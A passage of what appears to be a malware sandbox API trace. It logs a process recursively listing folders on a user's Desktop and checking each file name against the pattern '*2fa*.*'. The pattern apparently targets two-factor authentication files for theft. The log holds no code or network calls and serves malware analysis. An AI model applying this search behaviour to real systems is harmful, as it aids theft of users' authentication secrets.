HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.698] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ac00 [0146.698] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac00, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.699] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac00 | out: hHeap=0x2360000) returned 1 [0146.699] PathMatchSpecW (pszFile="8DlSlQ4DWJEgioA.bmp", pszSpec="*2fa*.*") returned 0 [0146.699] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x2360000) returned 1 [0146.699] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="avdtAoxV8CAmzwyXqi1", cAlternateFileName="AVDTAO~1")) returned 1 [0146.699] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.699] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.699] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.699] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.699] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.699] lstrcatW (in: lpString1="\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.699] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2=".") returned 1 [0146.699] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2="..") returned 1 [0146.699] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.699] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*" [0146.699] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8825b0 [0146.700] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.700] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.700] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\." [0146.700] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.700] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.700] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\.") returned="\\avdtAoxV8CAmzwyXqi1\\." [0146.700] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.700] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.700] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.700] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.700] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\.." [0146.700] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.700] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.700] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\..") returned="\\avdtAoxV8CAmzwyXqi1\\.." [0146.700] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.700] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.700] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0bJmFQ", cAlternateFileName="")) returned 1 [0146.700] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.701] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.701] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.701] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.701] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.701] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.701] lstrcmpW (lpString1="0bJmFQ", lpString2=".") returned 1 [0146.701] lstrcmpW (lpString1="0bJmFQ", lpString2="..") returned 1 [0146.701] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.701] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*" [0146.701] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882cb0 [0146.701] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.701] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.701] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\." [0146.701] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.701] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.702] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\." [0146.702] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.702] FindNextFileW (in: hFindFile=0x882cb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.702] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.702] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.702] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.." [0146.702] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.702] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.702] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\..") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.." [0146.702] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.702] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.702] FindNextFileW (in: hFindFile=0x882cb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b5d62c0, ftCreationTime.dwHighDateTime=0x1d7a115, ftLastAccessTime.dwLowDateTime=0xa140a5e0, ftLastAccessTime.dwHighDateTime=0x1d7ac62, ftLastWriteTime.dwLowDateTime=0xa140a5e0, ftLastWriteTime.dwHighDateTime=0x1d7ac62, nFileSizeHigh=0x0, nFileSizeLow=0x129ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="3a8e-vNM7Q5rmwj.rtf", cAlternateFileName="3A8E-V~1.RTF")) returned 1 [0146.702] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.702] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.702] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="3a8e-vNM7Q5rmwj.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf" [0146.702] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.702] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.703] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="3a8e-vNM7Q5rmwj.rtf" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf" [0146.703] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.703] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4e) returned 0x2362888 [0146.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x2362888, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", lpUsedDefaultChar=0x0) returned 78 [0146.703] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362830 [0146.703] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362888 | out: hHeap=0x2360000) returned 1 [0146.703] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.703] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ab28 [0146.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236ab28, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.703] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab28 | out: hHeap=0x2360000) returned 1 [0146.703] PathMatchSpecW (pszFile="3a8e-vNM7Q5rmwj.rtf", pszSpec="*2fa*.*") returned 0 [0146.703] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362830 | out: hHeap=0x2360000) returned 1 [0146.703] FindNextFileW (in: hFindFile=0x882cb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca5dc60, ftCreationTime.dwHighDateTime=0x1d7adf4, ftLastAccessTime.dwLowDateTime=0x63524720, ftLastAccessTime.dwHighDateTime=0x1d7af50, ftLastWriteTime.dwLowDateTime=0x63524720, ftLastWriteTime.dwHighDateTime=0x1d7af50, nFileSizeHigh=0x0, nFileSizeLow=0x11833, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 VEXDj.flv", cAlternateFileName="5VEXDJ~1.FLV")) returned 1 [0146.703] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.703] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.703] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="5 VEXDj.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv" [0146.703] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.703] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.704] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="5 VEXDj.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv" [0146.704] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.704] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x46) returned 0x32bb798 [0146.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", cchWideChar=70, lpMultiByteStr=0x32bb798, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv", lpUsedDefaultChar=0x0) returned 70 [0146.704] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362bf8 [0146.704] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb798 | out: hHeap=0x2360000) returned 1 [0146.704] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.704] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ac30 [0146.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236ac30, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.704] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac30 | out: hHeap=0x2360000) returned 1 [0146.704] PathMatchSpecW (pszFile="5 VEXDj.flv", pszSpec="*2fa*.*") returned 0 [0146.704] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362bf8 | out: hHeap=0x2360000) returned 1 [0146.704] FindNextFileW (in: hFindFile=0x882cb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bcdac10, ftCreationTime.dwHighDateTime=0x1d7af2b, ftLastAccessTime.dwLowDateTime=0x1a72cdf0, ftLastAccessTime.dwHighDateTime=0x1d7af68, ftLastWriteTime.dwLowDateTime=0x1a72cdf0, ftLastWriteTime.dwHighDateTime=0x1d7af68, nFileSizeHigh=0x0, 